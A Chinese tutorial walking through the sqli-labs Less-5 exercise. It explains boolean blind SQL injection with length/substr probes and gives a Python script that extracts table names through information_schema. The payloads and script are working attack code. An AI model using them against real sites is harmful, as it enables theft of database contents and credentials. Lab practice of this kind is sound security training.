打开靶场第五关
一、选择第五关
点击进入打开页面
按照提示,输入ID
二、通过代码审计,发现不管对错只会存在回显和无回显两种,所以union联合方式不适用此题,从上图注入方式可知存在三列
三、通过布尔盲注方式进行,利用length来确认数据库字符长度
四、利用BP进行抓取爆破发现,数据库库名长度为8个字符
通过substr可以查看到对应的第一个字符是S或者s,根据这个情况可以逐一爆出
函数 substr(a,b,c),a是截取的字符串 ,b是截取的位置 ,c是截取的长度
最终确认数据库名称8位以及名称为security
编写脚本进行枚举爆出
import requests # 只需要修改url 和 两个payload即可 # 目标网址(不带参数) url = "http://192.168.1.200:5151/sqlilabs/Less-5" # 猜解长度使用的payload payload_len = """?id=1' and length( (select group_concat(table_name) from information_schema.tables where table_schema=database()) ) = {n} -- a""" # 枚举字符使用的payload payload_str = """?id=1' and ascii( substr( (select group_concat(table_name) from information_schema.tables where table_schema=database()) ,{n},1) ) = {r} -- a""" # 获取长度 def getLength(url, payload): length = 1 # 初始测试长度为1 while True: response = requests.get(url=url + payload_len.format(n=length)) # 页面中出现此内容则表示成功 if 'You are in...........' in response.text: print('测试长度完成,长度为:', length, ) return length; else: print('正在测试长度:', length) length += 1 # 测试长度递增 # 获取字符 def getStr(url, payload, length): str = '' # 初始表名/库名为空 # 第一层循环,截取每一个字符 for l in range(1, length + 1): # 第二层循环,枚举截取字符的每一种可能性 for n in range(33, 126): response = requests.get(url=url + payload_str.format(n=l, r=n)) # 页面中出现此内容则表示成功 if 'You are in...........' in response.text: str += chr(n) print('第', l, '个字符猜解成功:', str) break; return str; # 开始猜解 length = getLength(url, payload_len) getStr(url, payload_str, length)
后续也可根据脚本编写爆出对应的用户名和密码
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)